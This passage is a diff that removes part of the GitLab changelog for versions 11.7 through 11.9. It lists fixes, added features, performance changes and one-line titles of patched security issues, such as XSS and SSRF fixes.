-- Fix commenting on commits having SHA1 starting with a large number. !25278
-- Allow empty values such as [] to be stored in reactive cache. !25283
-- Remove vertical connecting line placeholder from diff discussion notes. !25292
-- Fix hover and active state colors of award emoji button. !25295
-- Fix author layouts in issuable meta line UIs on mobile. !25332 (Takuya Noguchi)
-- Fix bug where project topics truncate. !25398
-- Fix ETag caching not being used for AJAX requests. !25400
-- Doc - fix the url of pipeline status badge. !25404 (Aviad Levy)
-- Fix pipeline status icon mismatch. !25407
-- Allow users to compare branches on a read-only instance. !25414
-- Fix 404s when C++ .gitignore template selected. !25416
-- Always fetch MR latest version when creating suggestions. !25441
-- Only show borders for markdown images in notes. !25448
-- Bring back Rugged implementation of find_commit. !25477
-- Remove duplicate units from metrics graph. !25485
-- Fix project import error importing releases. !25495
-- Remove duplicate XHR request when requesting new pipeline page. !25506
-- Properly handle multiple X-Forwarded-For addresses in runner IP. !25511
-- Fix weekday shift in issue board cards for UTC+X timezones by removing local timezone to UTC conversion. !25512 (Elias Werberich)
-- Fix large table horizontal scroll and prevent side-by-side tables. !25520 (Dany Jupille)
-- Fix error when viewing group issue boards when user doesn't have explicit group permissions. !25524
-- Respect the should_remove_source_branch parameter to the merge API. !25525
-- Externalize markdown toolbar buttons tooltips. !25529
-- Fix method to mark a project repository as writable. !25546
-- fix group without owner after transfer. !25573 (Peter Marko)
-- Fix pagination and duplicate requests in environments page. !25582
-- Improve the JS pagination to handle the case when the `X-Total` and `X-Total-Pages` headers aren't present. !25601
-- Add right padding to the repository mirror action buttons. !25606
-- Use 'folder-open' from sprite icons for Browse Files button in Tag page. !25635
-- Make merge to refs/merge-requests/:iid/merge not raise when FF-only enabled. !25653
-- Fixed "Copying comment with ordered list includes extraneous newlines". !25695
-- Fix bridge jobs only/except variables policy. !25710
-- Allow GraphQL requests without CSRF token. !25719
-- Skip Project validation during Hashed Storage migration or rollback. !25753
-- Resolve showing squash commit edit issue when only single commit is present. !25807
-- Fix the last-ditch memory killer pgroup SIGKILL. !25940
-- Disable timeout on merge request merging poll. !25988
-- Allow modifying squash commit message for fast-forward only merge method. !26017
-- Fix bug in BitBucket imports with SHA shorter than 40 chars. !26050
-- Fix health checks not working behind load balancers. !26055
-- Fix 500 error caused by CODEOWNERS with no matches. !26072
-- Fix notes being marked as edited after resolving. !26143
-- Fix error creating a merge request when diff includes a null byte. !26190
-- Fix undefined variable error on json project views. !26297
-- GitHub import: Create new branches as project owner. !26335
-- Gracefully handles excluded fields from attributes during serialization on JsonCache. !26368
-- Admin section finds users case-insensitively.
-- Fixes not working dropdowns in pipelines page.
-- Do not show file templates when creating a new directory in WebIDE.
-- Allow project members to see private group if the project is in the group namespace.
-- Allow maintainers to remove pages.
-- Fix inconsistent pagination styles.
-- Fixed blob editor deleting file content for certain file paths.
-- Fix upcoming milestone when there are milestones with far-future due dates.
-- Fixed alignment of changed icon in Web IDE.
-
-### Changed (31 changes, 10 of them are from the community)
-
-- Improve snippets empty state. !18348 (George Tsiolis)
-- Remove second primary button on wiki edit. !19959 (George Tsiolis)
-- Allow raw `tls_options` to be passed in LDAP configuration. !20678
-- Remove undigested token column from personal_access_tokens table from the database. !22743
-- Update activity filter for issues. !23423 (George Tsiolis)
-- Use auto-build-image for build job in Auto-DevOps.gitlab-ci.yml. !24279
-- Error tracking configuration - add a Sentry project selection dropdown. !24701
-- Move ChatOps to Core. !24780
-- Implement new arguments `state`, `closed_before` and `closed_after` for `IssuesResolver` in GraphQL. !24910
-- Validate kubernetes cluster CA certificate. !24990
-- Review App Link to Changed Page if Only One Change Present. !25048
-- Show pipeline ID, commit, and branch name on modal while stopping pipeline. !25059
-- Improve empty state for starred projects. !25138
-- Capture due date when importing milestones from Github. !25182 (dstanley)
-- Add a spinner icon which is rendered using pure css. !25186
-- Make emoji picker bigger. !25187 (Jacopo Beschi @jacopo-beschi)
-- API: Sort tie breaker with id DESC. !25311 (Nermin Vehabovic)
-- Add iOS-fastlane template for .gitlab-ci.yml. !25395
-- Move language setting to preferences. !25427 (Fabian Schneider @fabsrc)
-- Resolve Create Project Template for Netlify. !25453
-- Sort labels alphabetically on issues and merge requests list. !25470
-- Add Project template for .NET Core. !25486
-- Update operations settings breadcrumb trail. !25539 (George Tsiolis)
-- Add Project template for go-micro. !25553
-- Jira: make issue links title compact. !25609 (Elan Ruusamäe @glensc)
-- Project level filtering for JupyterHub. !25684 (Amit Rathi (amit1rrr))
-- Clean up vendored templates. !25794
-- Mask all TOKEN and PASSWORD CI variables. !25868
-- Add project template for Android. !25870
-- Add iOS project template. !25872
-- Upgrade to Gitaly v1.26.0. !25890
-
-### Performance (11 changes)
-
-- Improve performance for diverging commit counts. !24287
-- Optimize Redis usage in User::ActivityService. !25005
-- Only load syntax highlight CSS of selected theme. !25232
-- Improve label select rendering. !25281
-- Enable persisted pipeline stages by default. !25347
-- Speed up group issue search counts. !25411
-- Load repository language from the database if detected before. !25518
-- Remove N+1 query for tags in /admin/runners page. !25572
-- Eliminate most N+1 queries loading UserController#calendar_activities. !25697
-- Improve Web IDE launch performance. !25700
-- Significantly reduce N+1 queries in /api/v4/todos endpoint. !25711
-
-### Added (55 changes, 18 of them are from the community)
-
-- Add a tag filter to the admin runners view. !19740 (Alexis Reigel)
-- Add project fetch statistics. !23596 (Jacopo Beschi @jacopo-beschi)
-- Hashed Storage rollback mechanism. !23955
-- Allow to recursively expand includes. !24356
-- Allow expanding a diff to display full file. !24406
-- Support `only: changes:` on MR pipelines. !24490 (Hiroyuki Sato)
-- Expose additional merge request pipeline variables. !24595 (Hiroyuki Sato)
-- Add metadata about the GitLab server to GraphQL. !24636
-- Support merge ref writing (without merging to target branch). !24692
-- Add field mergeRequests for project in GraphQL. !24805
-- API support for MR merge to temporary merge ref path. !24918
-- Ability to filter confidential issues. !24960 (Robert Schilling)
-- Allow creation of branches that match a wildcard protection, except directly through git. !24969
-- Add related merge request count to api response. !24974
-- Add realtime validation for user fullname and username on validation. !25017 (Ehsan Abdulqader @EhsanZ)
-- Allow setting feature flags per GitLab group through the API. !25022
-- Add API endpoint to get a commit's GPG signature. !25032
-- Add support for FTP assets for releases. !25071 (Robert Schilling)
-- Add Confirmation Modal to Rollback on Environment. !25110
-- add title attribute to display file name. !25154 (Satoshi Nakamatsu @satoshicano)
-- API: Expose text_color for project and group labels. !25172 (Robert Schilling)
-- Added support for ingress hostnames. !25181 (walkafwalka)
-- API: Promote project milestone to a group milestone. !25203 (Nermin Vehabovic)
-- API: Expose if the current user can merge a MR. !25207 (Robert Schilling)
-- add readme to changelogs directory. !25209 (@glensc)
-- API: Indicate if label is a project label. !25219 (Robert Schilling)
-- Expose refspecs and depth to runner. !25233
-- Port System Header and Footer feature to Core. !25241
-- Sort Environments by Last Updated. !25260
-- Accept force option to overwrite branch on commit via API. !25286
-- Add support for masking CI variables. !25293
-- Add Link from Closed (moved) Issues to Moved Issue. !25300
-- Next/previous navigation between files in MR review. !25355
-- Add YouTrack integration service. !25361 (Yauhen Kotau @bessorion)
-- Add ability to set path and name for project on fork using API. !25363
-- Add project level config for merge pipelines. !25385
-- Edit Knative domain after it has been deployed. !25386
-- Add zoom and scroll to metrics dashboard. !25388
-- Persist source sha and target sha for merge pipelines. !25417
-- Add support for toggling discussion filter from notes section. !25426
-- Resolve Move files in the Web IDE. !25431
-- Show header and footer system messages in email. !25474
-- Allow configuring POSTGRES_VERSION in Auto DevOps. !25500
-- Add Saturday to Localization first day of the week. !25509 (Ahmad Haghighi)
-- Extend the Gitlab API for deletion of job_artifacts of a single job. !25522 (rroger)
-- Simplify CI/CD configuration on serverless projects. !25523
-- Add button to start discussion from single comment. !25575
-- sidekiq: terminate child processes at shutdown. !25669
-- Expose merge request entity for pipelines. !25679
-- Link to most recent MR from a branch. !25689
-- Adds Auto DevOps build job for tags. !25718 (walkafwalka)
-- Allow all snippets to be accessed by API. !25772
-- Make file tree in merge requests resizable.
-- Make the Web IDE the default editor.
-- File uploads are deleted asynchronously when deleting a project or group.
-
-### Other (28 changes, 6 of them are from the community)
-
-- Improve GitHub and Gitea project import table UI. !24606
-- Externalize strings from `/app/views/projects/commit`. !24668 (George Tsiolis)
-- Correct non-standard unicode spaces to regular unicode. !24795 (Marcel Amirault)
-- Provide a performance bar link to the Jaeger UI. !24902
-- Remove BATCH_SIZE from WikiFileFinder. !24933
-- Use export-import svgs from gitlab-svgs. !24954
-- Fix N+1 query in Issues and MergeRequest API when issuable_metadata is present. !25042 (Alex Koval)
-- Directly inheriting from ActiveRecord::Migration is deprecated. !25066 (Jasper Maes)
-- Bump Helm and kubectl in Auto DevOps to 2.12.3 and 1.11.7 respectively. !25072
-- Log queue duration in production_json.log. !25075
-- Extracted ResolveWithIssueButton to its own component. !25093 (Martin Hobert)
-- Add rectangular project and group avatars. !25098
-- Include note in the Rails filter_parameters configuration. !25238
-- Bump Helm and kubectl used in Kubernetes integration to 2.12.3 and 1.11.7 respectively. !25268
-- Include gl_project_path in API /internal/allowed response. !25314
-- Fix incorrect Pages Domains checkbox description. !25392 (Anton Melser)
-- Update GitLab Runner Helm Chart to 0.2.0. !25493
-- Add suffix (`_event`) to merge request source. !25508
-- Creates a helper function to check if repo is EE. !25647
-- If chpst is available, make fron-source installations run sidekiq as a process group leader. !25654
-- Bring back Rugged implementation of GetTreeEntries. !25674
-- Moves EE util into the CE file. !25680
-- Bring back Rugged implementation of CommitIsAncestor. !25702
-- Bring back Rugged implementation of TreeEntry. !25706
-- Enable syntax highlighting to other supported markups. !25761
-- Update GitLab Shell to v8.7.1. !25801
-- Bring back Rugged implementation of commit_tree_entry. !25896
-- Removes EE differences for jobs/getters.js.
-
-
-## 11.8.10 (2019-04-30)
-
-### Security (1 change)
-
-- Allow to see project events only with api scope token.
-
-
-## 11.8.8 (2019-04-23)
-
-### Fixed (5 changes)
-
-- Bring back Rugged implementation of find_commit. !25477
-- Fix bug in BitBucket imports with SHA shorter than 40 chars. !26050
-- Fix health checks not working behind load balancers. !26055
-- Fix error creating a merge request when diff includes a null byte. !26190
-- Avoid excessive recursive calls with Rugged TreeEntries. !26813
-
-### Performance (1 change)
-
-- Bring back Rugged implementation of ListCommitsByOid. !27441
-
-### Other (4 changes)
-
-- Bring back Rugged implementation of GetTreeEntries. !25674
-- Bring back Rugged implementation of CommitIsAncestor. !25702
-- Bring back Rugged implementation of TreeEntry. !25706
-- Bring back Rugged implementation of commit_tree_entry. !25896
-
-
-## 11.8.3 (2019-03-19)
-
-### Security (1 change)
-
-- Remove project serialization in quick actions response.
-
-
-## 11.8.2 (2019-03-13)
-
-### Security (1 change)
-
-- Fixed ability to see private groups by users not belonging to given group.
-
-### Fixed (5 changes)
-
-- Fix import_jid error on project import. !25239
-- Properly handle multiple X-Forwarded-For addresses in runner IP. !25511
-- Fix error when viewing group issue boards when user doesn't have explicit group permissions. !25524
-- Fix method to mark a project repository as writable. !25546
-- Allow project members to see private group if the project is in the group namespace.
-
-
-## 11.8.0 (2019-02-22)
-
-### Security (7 changes, 1 of them is from the community)
-
-- Sanitize user full name to clean up any URL to prevent mail clients from auto-linking URLs. !2793
-- Update Helm to 2.12.2 to address Helm client vulnerability. !24418 (Takuya Noguchi)
-- Use sanitized user status message for user popover.
-- Validate bundle files before unpacking them.
-- Alias GitHub and BitBucket OAuth2 callback URLs.
-- Fixed XSS content in KaTex links.
-- Disallows unauthorized users from accessing the pipelines section.
-
-### Removed (2 changes, 1 of them is from the community)
-
-- Removed deprecated Redcarpet markdown engine.
-- Remove Cancel all jobs button in general jobs list view. (Jordi Llull)
-
-### Fixed (84 changes, 20 of them are from the community)
-
-- Fix ambiguous brackets in task lists. !18514 (Jared Deckard <jared.deckard@gmail.com>)
-- Fix lost line number when navigating to a specific line in a protected file before authenticating. !19165 (Scott Escue)
-- Fix suboptimal handling of checkbox and radio input events causing group general settings submit button to stay disabled after changing its visibility. !23022
-- Fix upcoming milestones filter not including group milestones. !23098 (Heinrich Lee Yu)
-- Update runner admin page to make description field larger. !23593 (Sascha Reynolds)
-- Fix Bitbucket Server import not allowing personal projects. !23601
-- Fix bug causing repository mirror settings UI to break. !23712
-- Fix foreground color for labels to ensure consistency of label appearance. !23873 (Nathan Friend)
-- Resolve In Merge Request diff screen, master is not a hyperlink. !23874
-- Show the correct error page when access is denied. !23932
-- Increase reliability and performance of toggling task items. !23938
-- Modify file restore to rectify tar issue. !24000
-- Fix default visibility_level for new projects. !24120 (Fabian Schneider @fabsrc)
-- Footnotes now render properly in markdown. !24168
-- Emoji and cancel button are taller than input in set user status modal. !24173 (Dhiraj Bodicherla)
-- Adjusts duplicated line when commenting on unfolded diff lines (in the bottom). !24201
-- Adjust height of "Add list" dropdown in issue boards. !24227
-- Improves restriction of multiple Kubernetes clusters through API. !24251
-- Fix files/blob api endpoints content disposition. !24267
-- Cleanup stale +deleted repo paths on project removal (adjusts project removal bug). !24269
-- Handle regular job dependencies next to parallelized job dependencies. !24273
-- Proper align Projects dropdown on issue boards page. !24277 (Johann Hubert Sonntagbauer)
-- Resolve When merging an MR, the squash checkbox isnt always supported. !24296
-- Fix Bitbucket Server importer error handling. !24343
-- Fix syntax highlighting for suggested changes preview. !24358
-- API: Support dots in wiki slugs. !24383 (Robert Schilling)
-- Show CI artifact file size with 3 significant digits on 'browse job artifacts' page. !24387
-- API: Support username with dots. !24395 (Robert Schilling)
-- API: Fix default_branch_protection admin setting. !24398 (Robert Schilling)
-- Remove unwanted margin above suggested changes. !24419
-- Prevent checking protected_ref? for ambiguous refs. !24437
-- Update metrics environment dropdown to show complete option set. !24441
-- Fix empty labels of CI builds for gitlab-pages on pipeline page. !24451
-- Do not run spam checks on confidential issues. !24453
-- Upgrade KaTeX to version 0.10.0. !24478 (Andrew Harmon)
-- Avoid overwriting default jaeger values with nil. !24482
-- Display SAML failure messages instead of expecting CSRF token. !24509
-- Adjust vertical alignment for project visibility icons. !24511 (Martin Hobert)
-- Load initUserInternalRegexPlaceholder only when required. !24522
-- Hashed Storage: `AfterRenameService` was receiving the wrong `old_path` under some circumstances. !24526
-- Resolve Runners IPv6 address overlaps other values. !24531
-- Fix 404s with snippet uploads in object storage. !24550
-- Fixed oversized custom project notification selector dropdown. !24557
-- Allow users with full private access to read private personal snippets. !24560
-- Resolve Pipeline stages job action button icon is not aligned. !24577
-- Fix cluster page non-interactive on form validation error. !24583
-- Fix 404s for snippet uploads when relative URL root used. !24588
-- Fix markdown table border. !24601
-- Fix CSS grid on a new Project/Group Milestone. !24614 (Takuya Noguchi)
-- Prevent unload when Recaptcha is open. !24625
-- Clean up unicorn sampler metric labels. !24626 (bjk-gitlab)
-- Support bamboo api polymorphism. !24680 (Alex Lossent)
-- Ensure Cert Manager works with Auto DevOps URLs greater than 64 bytes. !24683
-- Fix failed LDAP logins when nil user_id present. !24749
-- fix display comment avatars issue in IE 11. !24777 (Gokhan Apaydin)
-- Fix template labels not being created on new projects. !24803
-- Fix cluster installation processing spinner. !24814
-- Append prioritized label before pagination. !24815
-- Resolve UI bug adding group members with lower permissions. !24820
-- Make `ActionController::Parameters` serializable for sidekiq jobs. !24864
-- Fix Jira Service password validation on project integration services. !24896 (Daniel Juarez)
-- Fix potential Addressable::URI::InvalidURIError. !24908
-- Update Workhorse to v8.2.0. !24909
-- Encode Content-Disposition filenames. !24919
-- Avoid race conditions when creating GpgSignature. !24939
-- Create the source branch for a GitHub import. !25064
-- Fix suggested changes syntax highlighting. !25116
-- Fix counts in milestones dashboard. !25230
-- Fixes incorrect TLD validation errors for Kubernetes cluster domain. !25262
-- Fix 403 errors when adding an assignee list in project boards. !25263
-- Prevent Auto DevOps from trying to deploy without a domain name. !25308
-- Fix uninitialized constant with GitLab Pages.
-- Increase line height of project summaries. (gfyoung)
-- Remove extra space between MR tab bar and sticky file headers.
-- Correct spacing for comparison page.
-- Update CI YAML param table with include.
-- Return bottom border on MR Tabs.
-- Fixes z-index and margins of archived alert in job page.
-- Fixes archived sticky top bar without performance bar.
-- Fixed rebase button not showing in merge request widget.
-- Fixed double tooltips on note awards buttons.
-- Allow suggestions to be copied and pasted as GFM.
-- Fix bug that caused Suggestion Markdown toolbar button to insert snippet with leading +/-/<space>.
-- Moved primary button for labels to follow the design patterns used on rest of the site. (Martin Hobert)
-
-### Changed (37 changes, 11 of them are from the community)
-
-- Change spawning of tooltips to be top by default. !21223
-- Standardize filter value capitlization in filter bar in both issues and boards pages. !23846 (obahareth)
-- Refresh group overview to match project overview. !23866
-- Build number does not need to be tweaked anymore for the TeamCity integration to work properly. !23898
-- Added empty project illustration and updated text to user profile overview. !23973 (Fernando Arias)
-- Modified Knative list view to provide more details. !24072 (Chris Baumbauer)
-- Move cancel & new issue button on job page. !24074
-- Make issuable empty states actionable. !24077
-- Fix code search when text is larger than max gRPC message size. !24111
-- Update string structure for available group runners. !24187 (George Tsiolis)
-- Remove multilingual translation from the word "in" in the job details sidebar. !24192 (Nathan Friend)
-- Fix duplicate project disk path in BackfillLegacyProjectRepositories. !24213
-- Ensured links to a comment or system note anchor resolves to the right note if a user has a discussion filter. !24228
-- Remove expansion hover animation from pipeline status icon buttons. !24268 (Nathan Friend)
-- Redesigned related merge requests in issue page. !24270
-- Return the maximum group access level in the projects API. !24403
-- Update project topics styling to use badges design. !24415
-- Display "commented" only for commit discussions on merge requests. !24427
-- Upgrade js-regex gem to version 3.1. !24433 (rroger)
-- Prevent Sidekiq arguments over 10 KB in size from being logged to JSON. !24493
-- Added Avatar in the settings sidebar. !24515 (Yoginth)
-- Refresh empty states for profile page tabs. !24549
-- remove red/green colors from diff view of no-color syntax theme. !24582 (khm)
-- Get remote IP address of runner. !24624
-- Update last_activity_on for Users on some main GET endpoints. !24642
-- Update metrics dashboard graph design. !24653
-- Update to GitLab SVG icon from Font Awesome in profile for location and work. !24671 (Yoginth)
-- Add template for Android with Fastlane. !24722
-- Display timestamps to messages printed by gitlab:backup:restore rake tasks. (Will Chandler)
-- Show MR statistics in diff comparisons.
-- Make possible to toggle file tree while scrolling through diffs.
-- Use delete instead of remove when referring to `git branch -D`.
-- Add folder header to files in merge request tree list.
-- Added fuzzy file finder to merge requests.
-- Collapse directory structure in merge request file tree.
-- Adds skeleton loading to releases page.
-- Support multiple outputs in jupyter notebooks.
-
-### Performance (8 changes, 1 of them is from the community)
-
-- Remove unused button classes `btn-create` and `comment-btn`. !23232 (George Tsiolis)
-- [API] Omit `X-Total` and `X-Total-Pages` headers when items count is more than 10,000. !23931
-- Improve efficiency of GitHub importer by reducing amount of locks needed. !24102
-- Improve milestone queries using subqueries instead of separate queries for ids. !24325
-- Efficiently remove expired artifacts in `ExpireBuildArtifactsWorker`. !24450
-- Eliminate N+1 queries in /api/groups/:id. !24513
-- Use deployment relation to get an environment name. !24890
-- Do not reload daemon if configuration file of pages does not change.
-
-### Added (35 changes, 18 of them are from the community)
-
-- Add badge count to projects. !18425 (George Tsiolis)
-- API: Add support for group labels. !21368 (Robert Schilling)
-- Add setting for first day of the week. !22755 (Fabian Schneider @fabsrc)
-- Pages for subgroups. !23505
-- Add support for customer provided encryption keys for Amazon S3 remote backups. !23797 (Pepijn Van Eeckhoudt)
-- Add Knative detailed view. !23863 (Chris Baumbauer)
-- Add group full path to project's shared_with_groups. !24052 (Mathieu Parent)
-- Added feature to specify a custom Auto DevOps chart repository. !24162 (walkafwalka)
-- Add flat-square badge style. !24172 (Fabian Schneider @fabsrc)
-- Display last activity and created at datetimes for users. !24181
-- Allow setting of feature gates per project. !24184
-- Save issues/merge request sorting options to backend. !24198
-- Added support for custom hosts/domains to Auto DevOps. !24248 (walkafwalka)
-- Adds milestone search. !24265 (Jacopo Beschi @jacopo-beschi)
-- Allow merge request diffs to be placed into an object store. !24276
-- Add Container Registry API with cleanup function. !24303
-- GitLab now supports the profile and email scopes from OpenID Connect. !24335 (Goten Xiao)
-- Add 'in' filter that modifies scope of 'search' filter to issues and merge requests API. !24350 (Hiroyuki Sato)
-- Add `with_programming_language` filter for projects to API. !24377 (Dylan MacKenzie)
-- API: Support searching for tags. !24385 (Robert Schilling)
-- Document graphicsmagick installation for source installation. !24404 (Alexis Reigel)
-- Redirect GET projects/:id to project page. !24467
-- Indicate on Issue Status if an Issue was Moved. !24470
-- Redeploy Auto DevOps deployment on variable updates. !24498 (walkafwalka)
-- Don't create new merge request pipeline without commits. !24503 (Hiroyuki Sato)
-- Add GitLab Pages predefined CI variables 'CI_PAGES_DOMAIN' and 'CI_PAGES_URL'. !24504 (Adrian Moisey)
-- Moves domain setting from Auto DevOps to Cluster's page. !24580
-- API allows setting the squash commit message when squashing a merge request. !24784
-- Added ability to upgrade cluster applications. !24789
-- Add argument iids for issues in GraphQL. !24802
-- Add repositories count to usage ping data. !24823
-- Add support for extensionless pages URLs. !24876
-- Add templates for most popular Pages templates. !24906
-- Introduce Internal API for searching environment names. !24923
-- Allow admins to invalidate markdown texts by setting local markdown version.
-
-### Other (50 changes, 18 of them are from the community)
-
-- Externalize strings from `/app/views/projects/project_members`. !23227 (Tao Wang)
-- Add CSS & JS global flags to represent browser and platform. !24017
-- Fix deprecation: Passing an argument to force an association to reload is now deprecated. !24136 (Jasper Maes)
-- Cleanup legacy artifact background migration. !24144
-- Bump kubectl in Auto DevOps to 1.11.6. !24176
-- Conditionally initialize the global opentracing tracer. !24186
-- Remove horizontal whitespace on user profile overview on small breakpoints. !24189
-- Bump nginx-ingress chart to 1.1.2. !24203
-- Use monospace font for registry table tag id and tag name. !24205
-- Rename project tags to project topics. !24219
-- Add uniqueness validation to url column in Releases::Link model. !24223
-- Update sidekiq-cron to 1.0.4 and use fugit to replace rufus-scheduler to parse cron syntax. !24235
-- Adds inter-service OpenTracing propagation. !24239
-- Fixes Auto DevOps title on CI/CD admin settings. !24249
-- Upgrade kubeclient to 4.2.2 and swap out monkey-patch to disallow redirects. !24284
-- i18n: externalize strings from 'app/views/search'. !24297 (Tao Wang)
-- Fix several ActionController::Parameters deprecations. !24332 (Jasper Maes)
-- Remove all `$theme-gray-{weight}` variables in favor of `$gray-{weight}`. !24333 (George Tsiolis)
-- Update gitlab-styles to 2.5.1. !24336 (Jasper Maes)
-- Modifies environment scope UI on cluster page. !24376
-- Extract process_name from GitLab::Sentry. !24422
-- Upgrade Gitaly to 1.13.0. !24429
-- Actually set raise_on_unfiltered_parameters to true. !24443 (Jasper Maes)
-- Refactored NoteableDiscussion by extracting ResolveDiscussionButton. !24505 (Martin Hobert)
-- Extracted JumpToNextDiscussionButton to its own component. !24506 (Martin Hobert)
-- Extracted ReplyPlaceholder to its own component. !24507 (Martin Hobert)
-- Block emojis and symbol characters from users full names. !24523
-- Update GitLab Runner Helm Chart to 0.1.45. !24564
-- Updated docs for fields in pushing mirror from GitLab to GitHub. !24566 (Joseph Yu)
-- Upgrade gitlab-workhorse to 8.1.0. !24571
-- Externalize strings from `/app/views/sent_notifications`. !24576 (George Tsiolis)
-- Adds tracing support for ActiveRecord notifications. !24604
-- Externalize strings from `/app/views/projects/ci`. !24617 (George Tsiolis)
-- Move permission check of manual actions of deployments. !24660
-- Externalize strings from `/app/views/clusters`. !24666 (George Tsiolis)
-- Update UI for admin appearance settings. !24685
-- Externalize strings from `/app/views/projects/pages_domains`. !24723 (George Tsiolis)
-- Externalize strings from `/app/views/projects/milestones`. !24726 (George Tsiolis)
-- Add OpenTracing instrumentation for Action View Render events. !24728
-- Expose version for each application in cluster_status JSON endpoint. !24791
-- Externalize strings from `/app/views/instance_statistics`. !24809 (George Tsiolis)
-- Update cluster application version on updated and installed status. !24810
-- Project list UI improvements. !24855
-- Externalize strings from `/app/views/email_rejection_mailer`. !24869 (George Tsiolis)
-- Update Gitaly to v1.17.0. !24873
-- Update Workhorse to v8.3.0. !24959
-- Upgrade gitaly to 1.18.0. !24981
-- Update Workhorse to v8.3.1.
-- Upgraded Codesandbox smooshpack package.
-- Creates mixin to reduce code duplication between CE and EE in graph component.
-
-
-## 11.7.12 (2019-04-23)
-
-### Fixed (2 changes)
-
-- Bring back Rugged implementation of find_commit. !25477
-- Avoid excessive recursive calls with Rugged TreeEntries. !26813
-
-### Performance (1 change)
-
-- Bring back Rugged implementation of ListCommitsByOid. !27441
-
-### Other (4 changes)
-
-- Bring back Rugged implementation of GetTreeEntries. !25674
-- Bring back Rugged implementation of CommitIsAncestor. !25702
-- Bring back Rugged implementation of TreeEntry. !25706
-- Bring back Rugged implementation of commit_tree_entry. !25896
-
-
-## 11.7.11 (2019-04-09)
-
-- No changes.
-
-## 11.7.10 (2019-03-28)
-
-### Security (7 changes)
-
-- Disallow guest users from accessing Releases.
-- Fix PDF.js vulnerability.
-- Hide "related branches" when user does not have permission.
-- Fix XSS in resolve conflicts form.
-- Added rake task for removing EXIF data from existing uploads.
-- Disallow updating namespace when updating a project.
-- Use UntrustedRegexp for matching refs policy.
-
-
-## 11.7.8 (2019-03-26)
-
-- No changes.
-
-## 11.7.7 (2019-03-19)
-
-### Security (2 changes)
-
-- Remove project serialization in quick actions response.
-- Fixed ability to see private groups by users not belonging to given group.
-
-
-## 11.7.5 (2019-02-05)
-
-### Fixed (8 changes)
-
-- Fix import handling errors in Bitbucket Server importer. !24499
-- Adjusts suggestions unable to be applied. !24603
-- Fix 500 errors with legacy appearance logos. !24615
-- Fix form functionality for edit tag page. !24645
-- Update Workhorse to v8.0.2. !24870
-- Downcase aliased OAuth2 callback providers. !24877
-- Fix Detect Host Keys not working. !24884
-- Changed external wiki query method to prevent attribute caching. !24907
-
-
-## 11.7.2 (2019-01-29)
-
-### Fixed (1 change)
-
-- Fix uninitialized constant with GitLab Pages.
-
-
-## 11.7.1 (2019-01-28)
-
-### Security (24 changes)
-
-- Make potentially malicious links more visible in the UI and scrub RTLO chars from links. !2770
-- Don't process MR refs for guests in the notes. !2771
-- Sanitize user full name to clean up any URL to prevent mail clients from auto-linking URLs. !2828
-- Fixed XSS content in KaTex links.
-- Disallows unauthorized users from accessing the pipelines section.
-- Verify that LFS upload requests are genuine.
-- Extract GitLab Pages using RubyZip.
-- Prevent awarding emojis to notes whose parent is not visible to user.
-- Prevent unauthorized replies when discussion is locked or confidential.
-- Disable git v2 protocol temporarily.
-- Fix showing ci status for guest users when public pipline are not set.
-- Fix contributed projects info still visible when user enable private profile.
-- Add subresources removal to member destroy service.
-- Add more LFS validations to prevent forgery.
-- Use common error for unauthenticated users when creating issues.
-- Fix slow regex in project reference pattern.
-- Fix private user email being visible in push (and tag push) webhooks.
-- Fix wiki access rights when external wiki is enabled.
-- Group guests are no longer able to see merge requests they don't have access to at group level.
-- Fix path disclosure on project import error.
-- Restrict project import visibility based on its group.
-- Expose CI/CD trigger token only to the trigger owner.
-- Notify only users who can access the project on project move.
-- Alias GitHub and BitBucket OAuth2 callback URLs.
-
-
-## 11.7.0 (2019-01-22)
-
-### Security (14 changes, 1 of them is from the community)
-
-- Escape label and milestone titles to prevent XSS in GFM autocomplete. !2693
-- Bump Ruby on Rails to 5.0.7.1. !23396 (@blackst0ne)
-- Delete confidential todos for user when downgraded to Guest.
-- Project guests no longer are able to see refs page.
-- Set URL rel attribute for broken URLs.
-- Prevent leaking protected variables for ambiguous refs.
-- Authorize before reading job information via API.
-- Allow changing group CI/CD settings only for owners.
-- Fix SSRF with import_url and remote mirror url.
-- Don't expose cross project repositories through diffs when creating merge reqeusts.
-- Validate bundle files before unpacking them.
-- Issuable no longer is visible to users when project can't be viewed.
-- Escape html entities in LabelReferenceFilter when no label found.
-- Prevent private snippets from being embeddable.
-
-### Removed (3 changes, 1 of them is from the community)
-
-- Removes all instances of deprecated Gitlab Upgrader calls. !23603 (@jwolen)
-- Removed discard draft comment button form notes. !24185
-- Remove migration to backfill project_repositories for legacy storage projects. !24299
-
-### Fixed (42 changes, 7 of them are from the community)
-
-- Prevent awards emoji being updated when updating status. !23470
-- Allow merge after rebase without page refresh on FF repositories. !23572
-- Prevent admins from attempting hashed storage migration on read only DB. !23597
-- Correct the ordering of metrics on the performance dashboard. !23630
-- Display empty files properly on MR diffs. !23671 (Sean Nichols)
-- Allow GitHub imports via token even if OAuth2 provider not configured. !23703
-- Update header navigation theme colors. !23734 (George Tsiolis)
-- Fix login box bottom margins on signin page. !23739 (@gear54)
-- Return an ApplicationSetting in CurrentSettings. !23766
-- Fix bug commenting on LFS images. !23812
-- Only prompt user once when navigating away from file editor. !23820 (Sam Bigelow)
-- Display commit ID for discussions made on merge request commits. !23837
-- Stop autofocusing on diff comment after initial mount. !23849
-- Fix object storage not working properly with Google S3 compatibility. !23858
-- Fix project calendar feed when sorted by priority. !23870
-- Fix edit button disappearing in issue title. !23948 (Ruben Moya)
-- Aligns build loader animation with the job log. !23959
-- Allow 'rake gitlab:cleanup:remote_upload_files' to read bucket files without having permissions to see all buckets. !23981
-- Correctly externalize pipeline tags. !24028
-- Fix error when creating labels in a new issue in the boards page. !24039 (Ruben Moya)
-- Use 'parsePikadayDate' to parse due date string. !24045
-- Fix commit SHA not showing in merge request compare dropdown. !24084
-- Remove top margin in modal header titles. !24108
-- Drop Webhooks from project import/export config. !24121
-- Only validate project visibility when it has changed. !24142
-- Resolve About this feature link should open in new window. !24149
-- Add syntax highlighting to suggestion diff. !24156
-- Fix Bitbucket Server import only including first 25 pull requests. !24178
-- Enable caching for records which primary key is not `id`. !24245
-- Adjust applied suggestion reverting previous changes. !24250
-- Fix unexpected exception by failure of finding an actual head pipeline. !24257
-- Fix broken templated "Too many changes to show" text. !24282
-- Fix requests profiler in admin page not rendering HTML properly. !24291
-- Fix no avatar not showing in user selection box. !24346
-- Upgrade to gitaly 1.12.1. !24361
-- Fix runner eternal loop when update job result. !24481
-- Fix notification email for image diff notes.
-- Fixed merge request diffs empty states.
-- Fixed diff suggestions removing dashes.
